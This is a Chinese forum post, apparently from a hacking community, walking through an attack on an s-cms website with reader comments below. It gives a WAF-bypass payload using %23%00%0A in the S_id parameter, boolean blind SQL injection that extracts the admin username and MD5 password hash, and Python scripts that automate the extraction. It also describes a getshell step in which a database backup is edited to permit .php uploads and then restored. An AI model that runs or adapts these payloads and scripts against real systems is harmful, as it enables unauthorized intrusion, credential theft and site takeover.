【僵尸申请复活】一次前台SQL绕过Waf与后台Getshell
信息收集
可以通过信息收集发现使用s-cms,在网上寻找漏洞,发现前台注入,
http://xxx.xyz:8035/?type=product&S_id=3&lang=cn
注入点为S_id,在测试中发现,如果出现union字符和单引号../这样的字符就会触发waf,触发后返回包会返回一段js代码。
<script>
var a = "abc";
var x;
while ((x = /b/g.exec(a)) != null) {console.log(x)}
</script>
这样会把浏览器客户端卡爆 经过fuzz,发现%00后面使用任意字符都不会被waf检测,这样就可以构造sql语句,
http://xxx.xyz:8035/?lang=cn&type=text&S_id=-1 and (%23%00%0A1) and <注入点>
%23是#符号在Mysql中是注释符可以注释一行。
而%00是把waf探测截断,使后面的字符不会受到waf检测。
%0A是换行符,在查询语句拼接后传入到Mysql客户端,语句就会变成
"
select * from xxx where S_id=-1 and(#%00
1) and <注入点>
"
这时再进行注入将不会受到waf影响。经过测试Union联合查询并没有回显点,那么就使用布尔逻辑盲注。
前台注入
根据s-cms官方使用说明,数据库中表SL_admin中存放账号密码,账户名字段为A_login,密码字段为A_pwd(采用32位MD5存放)。 尝试构造,发现网站表明和字段名并没有被修改,还是和官方的一样的。
但是经过payload构造后爆破时发现不能使用单双引号来引用字符,所以使用十六进制来代替。例如:
and ('s' = 's')
绕过waf后这样带有引号的不能出现在payload中(尝试了双引号也不行),所以就需要爆破时使用十六进制0x来代替例如:
S_id=1%20and%20(%23%00%0A1) and(substring((select A_pwd from SL_admin limit 0,1),1,1)=0x38)
这时便动手写个脚本就可以拿到后台的账号密码
后台getshell
登录后台后,找了一些功能去尝试,发现有一处安全管理,可以修改上传文件的格式。但是功能被阉割了,不能修改成功。
同样发现一处文件管理,可以管理文件,但不能修改.php后缀的文件。这里尝试绕过也失败了。
后面发现了一处网站备份还原的功能,通过备份网站数据,下载到本地后,通过官方手册发现数据库中SL_safe表里面是允许上传文件的后缀。
那么就把刚刚下载的文件中的SL_safe表的Insert语句修改一下,添加一个.php结尾。然后还原刚刚修改好的备份文件,这样可以达到间接getshell。脚本
获取数据库名:
def get_dbname_char(url):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789-=()@!_<>'
len_temp = '(%23%00%0A1) and length((select database()))={}'
temp = '(%23%00%0A1) and (substring((select database()),{},1)={})'
s=''
dbn_len = 0
for i in range(1,21):
len_exp = len_temp.format(i)
res = requests.get(url+len_exp)
if len(res.text) > 480 :
dbn_len = i
break
for i in range(1, dbn_len+1):
for j in payloads:
exp = temp.format(i, hex(ord(j)))
res = requests.get(url + exp)
if len(res.text) > 480 :
s = s + j
break
print("数据库名为:",s)
def main():
url = 'http://xxx:8035/?lang=cn&type=text&S_id=1 and '
get_dbname_char(url)
获取后台账号
def get_user_char(url):
payloads = '0123456789abcdefghijklmnopqrstuvwxyz'
len_temp = '(%23%00%0A1) and length((select A_login from SL_admin limit 0,1))={}'
temp = '(%23%00%0A1) and (substring((select A_login from SL_admin limit 0,1),{},1)={})'
s=''
usrlen=0
for i in range(1,100):
len_exp = len_temp.format(i)
res = requests.get(url+len_exp)
if len(res.text) > 480 :
usrlen=i
break
for i in range(1,usrlen+1):
print("获取用户名第{}个字符....".format(i))
for j in payloads:
exp = temp.format(i,hex(ord(j)))
res = requests.get(url+exp)
if len(res.text) > 480 :
s = s + j
break
print("用户名为:",s)
def main():
url = 'http://xxx.xyz:8035/?lang=cn&type=text&S_id=1 and '
#get_user_char(url)
获取后台密码:
def get_pwd_char(url):
payloads = '0123456789abcdefghijklmnopqrstuvwxyz'
temp = '(%23%00%0A1) and (substring((select A_pwd from SL_admin limit 0,1),{},1)={})'
s=''
for i in range(1,33):
print("获取密码第{}个字符...".format(i))
for j in payloads:
exp = temp.format(i,hex(ord(j)))
res = requests.get(url+exp)
if len(res.text) > 480 :
s = s + j
break
print("密码md5值:",s)
def main():
url = 'http://xxx.xyz:8035/?lang=cn&type=text&S_id=1 and '
get_pwd_char(url)
评论8次
感谢大佬分享 学xi了
学到了一✋,数据库备份getshell
讲解到位,感觉又学到了,谢谢分享
基于CMS模板,然后基于数据库备份的GetShell。涨姿势了。
有没有大哥给复活啊!!!
流程挺详细的 思路也很清晰 像是手把手被带了一次渗透
求复活求复活
没有大哥吗